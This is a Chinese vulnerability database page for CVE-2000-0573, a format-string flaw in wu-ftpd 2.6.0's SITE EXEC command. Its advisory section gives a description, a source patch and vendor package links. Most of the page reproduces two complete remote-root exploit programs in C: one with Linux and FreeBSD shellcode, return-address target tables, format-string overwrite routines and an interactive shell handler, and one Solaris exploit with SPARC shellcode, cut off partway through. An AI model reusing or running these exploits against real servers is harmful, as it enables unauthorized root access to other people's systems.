CVE-2000-0573
CVSS10.0
发布时间 :2000-07-07 00:00:00
修订时间 :2016-10-17 22:07:18
NMCOEPS    

[原文]The lreply function in wu-ftpd 2.6.0 and earlier does not properly cleanse an untrusted format string, which allows remote attackers to execute arbitrary commands via the SITE EXEC command.


[CNNVD]Wu-ftpd 2.6.0 SITE EXEC远程格式串溢出漏洞(CNNVD-200007-013)

        
        Washington University FTP Server是一个非常流行的Unix系统下的FTP服务器。很多Unix和Linux的发行版本都把它作为默认安装的FTP服务器。
        Wu-ftpd在SITE EXEC实现上存在格式化串溢出漏洞,远程攻击者可能利用此漏洞通过溢出攻击以root用户的权限执行任意指令。
        Wu-ftpd的SITE EXEC将用户输入的数据错误的作为格式字符串传送给vsnprintf()函数,攻击者可以构造一个特殊的格式字符串,例如%.f%.f%.f %.d%n来覆盖堆栈中的某些重要数据,返回地址或者保存的uid等等,攻击者可以远程执行系统命令。这种攻击并不等同于通常的缓冲区溢出攻击,主要是错误的使用vsnprintf()以及缺乏对用户输入数据的检查引起的。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0573
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0573
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200007-013
(官方数据源) CNNVD

- 其它链接及资源

ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-2000.02
(UNKNOWN)  AUSCERT  AA-2000.02
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:29.wu-ftpd.asc.v1.1
(UNKNOWN)  FREEBSD  FreeBSD-SA-00:29
ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2000-009.txt.asc
(UNKNOWN)  NETBSD  NetBSD-SA2000-009
http://archives.neohapsis.com/archives/bugtraq/2000-06/0244.html
(UNKNOWN)  BUGTRAQ  20000723 CONECTIVA LINUX SECURITY ANNOUNCEMENT - WU-FTPD (re-release)
http://archives.neohapsis.com/archives/bugtraq/2000-07/0017.html
(UNKNOWN)  BUGTRAQ  20000702 [Security Announce] wu-ftpd update
http://marc.info/?l=bugtraq&m=96171893218000&w=2
(UNKNOWN)  BUGTRAQ  20000622 WuFTPD: Providing *remote* root since at least1994
http://marc.info/?l=bugtraq&m=96179429114160&w=2
(UNKNOWN)  BUGTRAQ  20000623 WUFTPD 2.6.0 remote root exploit
http://marc.info/?l=bugtraq&m=96299933720862&w=2
(UNKNOWN)  BUGTRAQ  20000707 New Released Version of the WuFTPD Sploit
http://www.calderasystems.com/support/security/advisories/CSSA-2000-020.0.txt
(UNKNOWN)  CALDERA  CSSA-2000-020.0
http://www.cert.org/advisories/CA-2000-13.html
(VENDOR_ADVISORY)  CERT  CA-2000-13
http://www.redhat.com/support/errata/RHSA-2000-039.html
(UNKNOWN)  REDHAT  RHSA-2000:039
http://www.securityfocus.com/bid/1387
(UNKNOWN)  BID  1387
http://www.securityfocus.com/templates/archive.pike?list=1&msg=20000623091822.3321.qmail@fiver.freemessage.com
(UNKNOWN)  BUGTRAQ  20000623 ftpd: the advisory version
http://xforce.iss.net/xforce/xfdb/4773
(UNKNOWN)  XF  wuftp-format-string-stack-overwrite(4773)

- 漏洞信息

Wu-ftpd 2.6.0 SITE EXEC远程格式串溢出漏洞
危急 输入验证
2000-07-07 00:00:00 2005-05-02 00:00:00
远程  
        
        Washington University FTP Server是一个非常流行的Unix系统下的FTP服务器。很多Unix和Linux的发行版本都把它作为默认安装的FTP服务器。
        Wu-ftpd在SITE EXEC实现上存在格式化串溢出漏洞,远程攻击者可能利用此漏洞通过溢出攻击以root用户的权限执行任意指令。
        Wu-ftpd的SITE EXEC将用户输入的数据错误的作为格式字符串传送给vsnprintf()函数,攻击者可以构造一个特殊的格式字符串,例如%.f%.f%.f %.d%n来覆盖堆栈中的某些重要数据,返回地址或者保存的uid等等,攻击者可以远程执行系统命令。这种攻击并不等同于通常的缓冲区溢出攻击,主要是错误的使用vsnprintf()以及缺乏对用户输入数据的检查引起的。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 可以使用这个临时的补丁程序, 重新编译wuftp2.6.0
        diff -ur wu-ftpd-orig/src/ftpcmd.y wu-ftpd-2.6.0/src/ftpcmd.y
        --- wu-ftpd-orig/src/ftpcmd.y Wed Oct 13 08:15:28 1999
        +++ wu-ftpd-2.6.0/src/ftpcmd.y Thu Jun 22 22:44:41 2000
        @@ -1926,13 +1926,13 @@
         }
         if (!maxfound)
         maxlines = defmaxlines;
        - lreply(200, cmd);
        + lreply(200, "", cmd);
         while (fgets(buf, sizeof buf, cmdf)) {
         size_t len = strlen(buf);
         if (len > 0 && buf[len - 1] == '\n')
         buf[--len] = '\0';
        - lreply(200, buf);
        + lreply(200, "", buf);
         if (maxlines <= 0)
         ++lines;
         else if (++lines >= maxlines) {
        diff -ur wu-ftpd-orig/src/ftpd.c wu-ftpd-2.6.0/src/ftpd.c
        --- wu-ftpd-orig/src/ftpd.c Thu Jun 22 22:23:40 2000
        +++ wu-ftpd-2.6.0/src/ftpd.c Thu Jun 22 22:45:23 2000
        @@ -3157,7 +3157,7 @@
         reply(230, "User logged in.", pw->pw_name, guest ?
         " Access restrictions apply." : "");
         sprintf(proctitle, ": ", remotehost, pw->pw_name);
        - setproctitle(proctitle);
        + setproctitle("", proctitle);
         if (logging)
         syslog(LOG_INFO, "FTP LOGIN FROM , ", remoteident, pw->pw_name);
        /* H* mod: if non-anonymous user, copy it to "authuser" so everyone can
        @@ -5912,7 +5912,7 @@
         remotehost[sizeof(remotehost) - 1] = '\0';
         sprintf(proctitle, ": connected", remotehost);
        - setproctitle(proctitle);
        + setproctitle("", proctitle);
         wu_authenticate();
        /* Create a composite source identification string, to improve the logging
        厂商补丁:
        Caldera
        -------
        Caldera已经为此发布了一个安全公告(CSSA-2000-020.0)以及相应补丁:
        CSSA-2000-020.0:wu-ftpd vulnerability
        链接:
        http://www.caldera.com/support/security/advisories/CSSA-2000-020.0.txt

        补丁下载:
        OpenLinux Desktop 2.3
        Location of Fixed Packages
        The upgrade packages can be found on Caldera's FTP site at:
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/
        The corresponding source code package can be found at:
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS
        Verification
        ddc86702f33d6a5edddab258ddd72195 RPMS/wu-ftpd-2.5.0-7.i386.rpm
        8090110ecef8d1efd2fe4c279f209e29 SRPMS/wu-ftpd-2.5.0-7.src.rpm
        OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0
        Location of Fixed Packages
        The upgrade packages can be found on Caldera's FTP site at:
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/
        The corresponding source code package can be found at:
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS
        Verification
        f909e8b47ec6780109c2437cdfdc2497 RPMS/wu-ftpd-2.5.0-7.i386.rpm
        8354edf2f90e59aa96d8baf1d77e28a0 SRPMS/wu-ftpd-2.5.0-7.src.rpm
        . OpenLinux eDesktop 2.4
        Location of Fixed Packages
        The upgrade packages can be found on Caldera's FTP site at:
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/
        The corresponding source code package can be found at:
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS
        Verification
        d2df4fb386d65387039f33538571d907 RPMS/wu-ftpd-2.5.0-7.i386.rpm
        13313d25d6d93dd98dd94e62d48c711c SRPMS/wu-ftpd-2.5.0-7.src.rpm
        Conectiva
        ---------
        Conectiva已经为此发布了一个安全公告(2000-06-23)以及相应补丁:
        2000-06-23:Remote root compromise
        链接:
        补丁下载:
        DIRECT DOWNLOAD LINKS TO UPDATED PACKAGES
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/servidor-1.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
        DIRECT LINK TO THE SOURCE PACKAGES
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/servidor-1.0/SRPMS/wu-ftpd-2.6.0-11cl.i386.rpm
        Debian
        ------
        Debian已经为此发布了一个安全公告(Debian-00-010)以及相应补丁:
        Debian-00-010:New Debian wu-ftpd packages released
        链接:
        http://www.debian.org/security/2000/debian-

        补丁下载:
        Source archives:
        
        http://security.d

- 漏洞信息 (201)

wu-ftpd 2.6.0 Remote Root Exploit (EDBID:201)
multiple remote
2000-11-21 Verified
21 venglin
N/A [点击下载]
/*
 * (c) 2000 venglin / b0f
 * http://b0f.freebsd.lublin.pl
 *
 * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)
 *
 * Idea and preliminary version of exploit by tf8
 *
 * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
 * Dedicated to ksm.
 *
 * **PRIVATE**DO*NOT*DISTRIBUTE**
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>


#define repln	if (getreply(0) < 0) return -1
#define replv	if (getreply(1) < 0) return -1

#ifdef DEBUG
#define repl replv
#else
#define repl repln
#endif

char usage[] = "usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]\n\t<-t type> <hostname>";
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
FILE *cin, *cout;

char linuxcode[]= /* Lam3rZ chroot() code */
	"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
	"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
	"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
	"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
	"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
	"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
	"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
	"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
	"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
	"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
	"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69"
	"\x6e\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65"
	"\x2e\x63\x6f\x6d";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
	"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
	"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
	"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88"
	"\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
	"\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
	"\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
	"\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
	"\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
	"\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
	"\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
	"\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30"
	"\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e"
	"\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e"
	"\x63\x6f\x6d";

struct platforms
{
	char *os;
	char *version;
	char *code;
	int align;
	int eipoff;
	long ret;
	long retloc;
	int sleep;
};

struct platforms targ[] =
{
	{ "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 },
	{ "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 },
	{ "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 },
	{ "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 },
	{ "RedHat Linux 6.2-SMP", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 },
	{ NULL, NULL, NULL, 0, 0, 0, 0 }
};

long getip(name)
char *name;
{
	struct hostent *hp;
	long ip;
	extern int h_errno;

	if ((ip = inet_addr(name)) < 0)
	{
		if (!(hp = gethostbyname(name)))
		{
			fprintf(stderr, "gethostbyname(): %s\n",
				strerror(h_errno));
			exit(1);
		}
		memcpy(&ip, (hp->h_addr), 4);
	}

	return ip;
}

int connecttoftp(host, port)
char *host;
int port;
{
	int sockfd;
	struct sockaddr_in cli;

	bzero(&cli, sizeof(cli));
	cli.sin_family = AF_INET;
	cli.sin_addr.s_addr=getip(host);
	cli.sin_port = htons(port);

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	{
		perror("socket");
		return -1;
	}

	if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) 
	{
                perror("connect");
		close(sockfd);
		return -1;
	}

	cin = fdopen(sockfd, "r");
	cout = fdopen(sockfd, "w");

	if (!cin || !cout)
	{
		close(sockfd);
		return -1;
	}

	return sockfd;
}

int command(const char *fmt, ...)
{
	char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;

	va_list args;

	if (!cout)
		return -1;

	bzero(buf1, BUFSIZ);
	bzero(buf2, BUFSIZ*2);

	va_start(args, fmt);
	vsnprintf(buf1, BUFSIZ, fmt, args);
	va_end(args);

	for (p=buf1,q=buf2;*p;p++,q++)
	{
		if (*p == '\xff')
		{
			*q++ = '\xff';
			*q = '\xff';
		}
		else
			*q = *p;
	}

	fprintf(cout, "%s", buf2);

#ifdef DEBUG
	fprintf(stderr, "--> ");
	fprintf(stderr, "%s", buf2);
	fputc('\n', stderr);
#endif

	fputs("\r\n", cout);
	(void)fflush(cout);
	return 0;
}

int getreply(v)
int v;
{
	if (!(fgets(recvbuf, BUFSIZ, cin)))
		return -1;

	if (v)
		fprintf(stderr, "<-- %s", recvbuf);

	return 0;
}

int logintoftp(login, passwd)
char *login, *passwd;
{
	do
		repl;
	while (strncmp(recvbuf, "220 ", 4));

	if ((command("USER %s", login)) < 0)
		return -1;

	repl;

	if (strncmp(recvbuf, "331", 3))
	{
		puts(recvbuf);
		return -1;
	}

	if ((command("PASS %s", passwd) < 0))
		return -1;

	do
		repl;
	while (strncmp(recvbuf, "230 ", 4));

	return 0;
}

int checkvuln(void)
{
	command("SITE EXEC %%p");
	repl;

	if(strncmp(recvbuf, "200-", 4))
		return -1;

	if(strncmp(recvbuf+4, "0x", 2))
		return -1;

	repl;

	return 0;
}

int findeip(eipoff, align)
int eipoff, align;
{
	int i, j, off;
	char *p1;
	char eip1[10], eip2[10];

	for (i=eipoff;;i+=8)
	{
		fprintf(stderr, "at offset %d\n", i);
		strcpy(sendbuf, "SITE EXEC ");
 
		for (j=0;j<align;j++) strcat(sendbuf, "a");
		strcat(sendbuf, "abcd");

		for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
		for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d%%d");
		strcat(sendbuf, "|%%.8x|%%.8x");

		if (command(sendbuf) < 0)
			return -1;

		repl;

		if (!(p1 = strchr(recvbuf, '|')))
			return -1;

		strncpy(eip1, p1+1, 8);
		strncpy(eip2, p1+10, 8);

		eip1[8] = eip2[8] = '\0';

		if (!(strcmp(eip1, "64636261")))
		{
			off = i;
			break;
		}

		if (!(strcmp(eip2, "64636261")))
		{
			off = i + 4;
			break;
		}

		repl;
	}

	repl;

	return off;
}

char *putshell(type)
int type;
{
	static char buf[400];
	int noplen;

	char *code = targ[type].code;

	noplen = sizeof(buf) - strlen(code) - 2;

	memset(buf, 0x90, noplen);
	buf[noplen+1] = '\0';
	strcat(buf, code);

	return buf;
}

int overwrite(ptr, off, align, retloc, eipoff)
long ptr, retloc;
int off, align, eipoff;
{
	int i, size = 0;
	char buf[100];

	fprintf(stderr, "RET: %p, RET location: %p,"
		" RET location offset on stack: %d\n",
		(void *)ptr, (void *)retloc, off);

	if (off >= 12)
	{

		strcpy(sendbuf, "SITE EXEC ");

		for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
		for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");

		if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");

		if (command(sendbuf) < 0)
			return -1;	

		repl;

		size = strlen(recvbuf+4) - 2;

		repl;
	}

	fprintf(stderr, "Reply size: %d, New RET: %p\n", size,
		(void *)(ptr-size));

	strcpy(sendbuf, "SITE EXEC ");
	for (i=0;i<align;i++) strcat(sendbuf, "a");

	sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
		(((int)retloc & 0xff00) >> 8),
		(((int)retloc & 0xff0000) >> 16),
		(((int)retloc & 0xff000000) >> 24));

	strcat(sendbuf, buf);

	for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
	for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");

	if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");

	strcat(sendbuf, "%%.");
	sprintf(buf, "%d", (int)ptr-size);
	strcat(sendbuf, buf);
	strcat(sendbuf, "d%%n");

	if (command(sendbuf) < 0)
		return -1;

	return 0;
}

int sh(sockfd)
int sockfd;
{
	char buf[BUFSIZ];
	int c;
	fd_set rf, drugi;
	char cmd[] = "uname -a ; pwd ; id\n";
        
	FD_ZERO(&rf);
	FD_SET(0, &rf);
	FD_SET(sockfd, &rf);
	write(sockfd, cmd, strlen(cmd));

	while (1)
	{
		bzero(buf, BUFSIZ);
		memcpy (&drugi, &rf, sizeof(rf));
		select(sockfd+1, &drugi, NULL, NULL, NULL);
		if (FD_ISSET(0, &drugi))
		{
			c = read(0, buf, BUFSIZ);
			send(sockfd, buf, c, 0x4);
		}

		if (FD_ISSET(sockfd, &drugi))
		{
			c = read(sockfd, buf, BUFSIZ);
			if (c<0) return 0;
			write(1,buf,c);
		}
	}
}

int main(argc, argv)
int argc;
char **argv;
{
	extern int optind, opterr;
	extern char *optarg;
	int ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff;
	long ret, retloc;
	char login[BUFSIZ], password[BUFSIZ];

	opterr = retofs = retlocofs = 0;
	strcpy(login, "ftp");
	type = -1;
	port = 21;

	while ((ch = getopt(argc, argv, "l:f:s:t:o")) != -1)
		switch((char)ch)	
		{
			case 'l':
				strcpy(login, optarg);
				break;

			case 't':
				type = atoi(optarg);
				break;

			case 'o':
				port = atoi(optarg);
				break;

			case 'f':
				retofs = atoi(optarg);
				break;

			case 's':
				retlocofs = atoi(optarg);
				break;

			case '?':
			default:
				puts(usage);
				exit(0);
		}

	argc -= optind;
	argv += optind;

	fprintf(stderr, "PanBobek v1.1 by venglin@freebsd.lublin.pl\n\n");

	if (type < 0)
	{
		fprintf(stderr, "Please select platform:\n");
		for (i=0;targ[i].os;i++)
		{
			fprintf(stderr, "\t-t %d : %s %s (%p / %p)\n", i,
				targ[i].os, targ[i].version,
				(void *)targ[i].ret,
				(void *)targ[i].retloc);
		}
		exit(0);
	}

	fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n",
		targ[type].os, targ[type].version);

	eipoff = targ[type].eipoff;
	align = targ[type].align;
	ret = targ[type].ret;
	retloc = targ[type].retloc;
	retloc += retlocofs;
	ret += retofs;

	if (argc != 1)
	{
		puts(usage);
		exit(0);
	}

	strcpy(password, putshell(type));

	if ((fd = connecttoftp(*argv, port)) < 0)
	{    
		(void)fprintf(stderr, "Connection to %s failed.\n", *argv);
		exit(1);
	}

	(void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);

	if (logintoftp(login, password) < 0)
	{
		(void)fprintf(stderr, "Logging in to %s (%s) failed.\n",
			*argv, login);
		exit(1);
        }

	(void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n",
		login);

	sleep(targ[type].sleep);

	if (checkvuln() < 0)
	{
		(void)fprintf(stderr, "Sorry, this version isn't"
			" vulnerable or uses internal vsnprintf().\n");
		exit(1);
	}

	(void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n",
		eipoff);

	if ((retoff = findeip(eipoff, align)) < 0)
	{
		(void)fprintf(stderr, "\nError finding offset. Adjust"
			" align.\n");
		exit(1);
	}

	if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
	{
		(void)fprintf(stderr, "Error overwriting RET addr.\n");
		exit(1);
	}

	fprintf(stderr, "Wait up to few minutes for reply. It depends on "
			"victim's CPU speed.\nEnjoy your shell.\n");

	sh(fd);

	exit(0);
}


// milw0rm.com [2000-11-21]
		

- 漏洞信息 (239)

wu-ftpd 2.6.0 Remote Format Strings Exploit (EDBID:239)
solaris remote
2001-01-03 Verified
21 kalou
N/A [点击下载]
/*
**
** 12:40 11/10/00: Tool for either  attack or defense
** within an information  warfare setting. Rather, it
** is a small program demonstrating proof of concept.
** Default values for solaris 2.8 and inetd.
**
** If you are not the intended recipient, or a person
** responsible  for  delivering  it  to  the intended
** recipient, you are not authorised to and  must not
** disclose, copy, distribute, or retain this message
** or any  part of it.  Such  unauthorised use may be
** unlawful.If you have received this transmission in
** error,please email us immediately at hert@hert.org
** so that we can arrange for its return.
**
**                                kalou <pb@hert.org>
**
** Usage:
** 
**    0xfdc (4060) bytes after the ret position, you have:
**
**     -HOSTNAME: anonymous/EGGSHELL
**
** This of course begins on a 4 bytes boundary.
**
** Check your hostname len. Align this with pad to have EGGSHELL on a
** 4 bytes boundary (-p). Localhost needs 2 bytes, for example.
**
** Use '%s' format bug exploitation to look for this string in memory.
** (you have to eat 15 words out of stack).
**
** Remove 0xfdc + len (-HOSTNAME: anonymous/pad) to your found pointer.
** This substracted value is kept as the distance (-d).
** Result is your return address position (-w). Check it if you want.
**
** This code substracts 8 to this address (sparc ret behaviour).
**
** You may use the 102th %p pointer on stack to find the string. eg: ffbef640.
**
** adding 0x870 to this value, I found my string.
**
** offset should be useless. site_padding depends on the '/bin/ftp-exec/' 
** config stuff.
**
** (./wu -p 2 -d 0xff4 ; cat ) | nc localhost 21
**
*/
/* Stolener  Foundation */


#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef  __linux
#include <getopt.h>
#endif

void *build_format_string(int where,
			  int what,
			  int gout,
			  int eat,
			  int pad)
{
  int expected_len;
  int what1, where1;
  int what2, where2;
  char w1[512];
  char w2[512];

  int  i;
  char *buf, *p;

  /* generate two %hn len : */

  what1 = (what >> 16) & 0xffff;
  what2 = what & 0xffff; 

  fprintf(stderr, "what1: %0x\n", what1);
  fprintf(stderr, "what2: %0x\n", what2);

  if ( what1 > what2 ) {
    where1 = where + 2;
    where2 = where;
    what1 -= what2;
  } else {
    where1 = where;
    where2 = where + 2;
    what2 -= what1;
  }

  fprintf(stderr, "removing %d.\n", pad + 2 * sizeof(where) + gout + 
	  (eat - 1) * 12);

  if (where1 < where2) {
    what1 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
  } else {
    what2 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
  }

  fprintf(stderr, "%08x: writing first %s\n", what,
	  (where1 > where2) ? "what2" : "what1");
  fprintf(stderr, "what1 is %08x, what2 is %08x\n",
	  what1, what2);

  sprintf(w1, "%%0%dx%%hn", what1);
  sprintf(w2, "%%0%dx%%hn", what2);

  fprintf(stderr, "1: %s\n2: %s\n", w1, w2);

  /* calculate expected len : */

  expected_len = pad + 12 + (eat - 1) * 8
	  + strlen(w1) + strlen(w2) + 1;

  fprintf(stderr, "len is %d\n", expected_len);

  buf = (char *) malloc(expected_len);

  if ( buf == NULL) 
    return buf;

  p = buf;

  /* pad */
  for (i = 0; i < pad; i++) {
    *p++ = '.';
  }

  /* retaddr, part 1 - first %hn*/
  *p++ = (where1 >> 24) & 0xff;
  *p++ = (where1 >> 16) & 0xff;
  *p++ = (where1 >> 8) & 0xff;
  *p++ = (where1) & 0xff;

  *p++ = 0x0f;
  *p++ = 0x0e;
  *p++ = 0x0e;
  *p++ = 0x0f; /* so that the first %0(much)x eats something

  /* retaddr, part 2 - second %hn */
  *p++ = ((where2) >> 24) & 0xff;
  *p++ = ((where2) >> 16) & 0xff;
  *p++ = ((where2) >> 8) & 0xff;
  *p++ = (where2) & 0xff;

  /* eaters.. */
  for (i = 0; i < (eat - 1); i++) {
    strcpy(p, "%000012x");
    p += 8;
  }

  /* what1, what2 */
  if (what1 > what2) {
    strcpy(p, w1);
    strcpy(p + strlen(w1), w2);
  } else {
    strcpy(p, w2);
    strcpy(p + strlen(w2), w1);
  }


  return buf;
}

void *ftp_escape(void *buf)
{
  void *boh;
  char *p = buf;
  char *r;

  boh = malloc(4096);
  r = boh;

  while (*p) {
    *r++ = *p;
    if ((*p) == '\xff')
      *r++ = *p;
    p++;
  }
  *r = '\0';
  return boh;
}

void usage(char *me)
{
  fprintf(stderr, "Usage : %s \n"
	          "     [-w where (hexa)  ] /* ret position */\n"
		  "   0 [-o offset        ] /* or just offset, or both */\n"
	          "1010 [-d distance (hex)] /* distance to pass */\n"
		  "   2 [-s site_pad      ] /* padding to site_exec */\n"
		  "   3 [-p pass_pad      ] /* padding to eggshell */\n"
		  "   4 [-g gout          ] /* output size (200-) */\n"
		  "  15 [-e eat           ] /* pointers to eat */\n\n\n",
		  me);
  exit(0);
}

main(int argc, char **argv)
{
  char c;
  int  where, offset, distance, gout, site_pad, pass_pad, eat;
  char *buf;
  char break_sparc[] =
	"\x90\x1b\xc0\x0f" // xor %o7, %o7, %o0
	"\x82\x10\x20\x17" // mov 23,  %g1
	"\x91\xd0\x20\x08" // ta  8                  ! setuid(0)
	"\xae\x10\x20\x2e" // mov 0x2e, %l7
	"\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
	"\xee\x23\xbf\xd0" // st  %l7, [ %sp - 48 ]
	"\x90\x23\xa0\x30" // sub %sp, 48, %o0
	"\x82\x10\x20\x05" // mov 5, %g1
	"\x92\x1b\xc0\x0f" // xor %o7, %o7, %o1
	"\x91\xd0\x20\x08" // ta 8                   ! fd = open(".", 0);
	"\xa6\x82\x20\x01" // addcc %o0, 1, %l3      !
	"\xae\x10\x20\x6b" // mov 0x6b, %l7
	"\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
	"\xee\x23\xbf\xd0" // st  %l7, [ %sp - 48 ]
	"\x90\x23\xa0\x30" // sub %sp, 48, %o0
	"\x92\x10\x21\xff" // mov 0x1ff, %o1
